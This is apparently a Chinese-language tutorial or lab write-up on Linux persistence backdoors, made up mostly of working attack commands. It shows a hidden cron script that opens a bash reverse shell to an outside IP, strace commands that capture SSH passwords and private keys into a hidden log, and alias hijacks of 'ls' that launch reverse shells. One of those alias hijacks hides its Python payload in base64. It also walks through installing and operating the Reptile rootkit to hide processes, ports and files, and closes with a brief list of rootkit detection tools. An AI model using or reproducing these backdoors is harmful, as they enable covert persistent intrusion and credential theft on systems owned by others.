案例一:权限维持-Linux-定时任务-Cron后门
linux的计时任务,配置文件再/etc/crontab下
创建后门文件,这里可以创建成隐藏文件
vim /etc/.back.sh
反弹shell的内容
#!/bin/bash
bash -i >& /dev/tcp/47.94.236.117/3333 0>&1
加上执行权限
编辑计时任务
kali开启监听就会执行一次
但是虽然隐藏了文件,但是查看计时任务还是会发现。
而且不管你怎么隐藏这里都会有一条建立连接的记录
案例二:权限维持-Linux-监控功能-Strace后门
strace 是一个动态跟踪工具,它可以跟踪系统调用的执行。我们可以把他当成一个键盘记录的后门,来扩大我们的信息收集范围
命令
1、记录 sshd 明文
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshd.log &)
查看文件
grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log
2、记录 sshd 私钥
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 4096 2> /tmp/.sshd.log &)
记录明文
这个记录的是通过ssh连接的密码
查看文件,会发现里面有一个123.com
每次连接一次,文件都会倍速增大,谨慎使用把
案例三:权限维持-Linux-命令自定义-Alias 后门
alias基本使用
临时添加alias命令
alias 123="ls -l"
#添加
unalias 123
#删除
甚至都不用删除,关闭窗口就会失效,正常生产环境运行的linux系统一般都只有一个窗口,除非关机,否则会一致生效
写入到家目录下的 .bashrc文件,重启也不会失效
这里后续实验就写个临时的
基础版反弹shell
alias ls='alerts(){ ls $* --color=auto;bash -i >& /dev/tcp/192.168.172.130/4444 0>&1; };alerts'
# 执行完ls之后,执行反弹shell的命令
虽然能够反弹shell,但是看图中的结果也能看出来会卡住
所以现在如果能有不会影响命令执行,同时也不会卡住就是最好的,下面这段代码就能够实现这个效果。
alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'\''UTF-8'\'')}[sys.version_info[0]]('\''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTkyLjE2OC4xNzIuMTMwIiwgNDQ0NCkpCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAwKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMSkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDIpCiAgICAgICAgcCA9IHN1YnByb2Nlc3MuY2FsbChbIi9iaW4vc2giLCAiLWkiXSkKICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgICAgICBleGl0KCk='\'')))";};alerts'
不过要进行一些修改,把base64解密,把ip换成自己的重新加密
执行不会卡住的同时,也会反弹shell
经过实验发现这一长串,写入~/.bashrc中也能够实现,不过得写到最后面不然可能会因为闭合问题影响结果
持续化利用
vim /etc/upload
vim ~/.bashrc
if [ -f /etc/upload ]; then
. /etc/upload
fi
案例四:权限维持-Linux-内核加载 LKM-Rootkit 后门
先前面这几种情况,就算做了隐藏,查看端口一条命令也能发现与别的ip建立了连接,而使用Rootkit,可以把进程,端口,甚至文件全部都隐藏了,比较难以发现。
项目地址: Home · f0rb1dd3n/Reptile Wiki · GitHub
GitHub - f0rb1dd3n/Reptile: LKM Linux rootkit
适用环境,我用的centos7
普通玩法
上传解压后,一键运行脚本(centos7)
$kernel=`uname -r`
yum -y install perl vim gcc make g++ unzip
yum -y localinstall kernel-devel-"$kernal".rpm
cd Reptile-2.0/ && chmod +x ./setup.sh
./setup.sh install <<EOF
reptile
hax0r
s3cr3t
reptile
666
y
192.168.172.130
4444
1
EOF
安装完成
隐藏进程号
nohup ping 114.114.114.114 &
#不断在后台ping 114.114.114.114
ps -ef | grep ping | grep -v grep
#查看ping的进程号
/reptile/reptile_cmd hide 4774
#隐藏进程号
ps -ef | grep ping | grep -v grep
可以发现这个进程直接没了但是还可以运行
隐藏/展示端口
隐藏连接: /reptile/reptile_cmd udp hide
显示连接: /reptile/reptile_cmd tcp show
这里130的3333端口正在建立连接
执行命令后直接隐藏
甚至连文件当中带有reptile的都会隐藏
但是实验过程中发现在图形化界面当中并不会删除
进阶玩法
设置客户端,就是攻击主机需要他去连接被控主机,由于呢这里我只有centos7可以运行该程序,所以我就复制了一台centos7
这里呢攻击机的IP是192.168.172.139 被控主机的ip是192.168.172.142
被控主机设置的参数
类似于msf,进入客户端
./setup.sh client
查看选项
选项
LHOST 192.168.172.139 Local host to receive the shell
LPORT 5555 Local port to receive the shell
SRCHOST 192.168.172.139 Source host on magic packets (spoof)
SRCPORT 666 Source port on magic packets (only for TCP/UDP)
RHOST 192.168.172.142 Remote host
RPORT 22 Remote port (only for TCP/UDP)
PROT TCP Protocol to send magic packet (ICMP/TCP/UDP)
PASS s3cr3t Backdoor password (optional)
TOKEN hax0r Token to trigger the shell
这个srcport是在安装过程中设置的
配置
运行后成功反射过来
可以上传文件,也可以反弹shell
利用shell执行命令,发现是142
但是呢这个软件还是有一些问题的,就比如说在最新的kali中客户端都装不了,就更别说服务器了,不太能够比较好的适配新的系统,并且已经2020年停止更新了。
关于Rootkit的检测:
linux平台下:chkrootkit、rkhunter、OSSEC、zeppoo等
Windows平台下:BlackLight、RootkitRevealer、Rootkit Hook Analyzer
GitHub - grayddq/GScan: 本程序旨在为安全应急响应人员对Linux主机排查时提供便利,实现主机侧Checklist的自动全面化检测,根据检测结果自动数据聚合,进行黑客攻击路径溯源。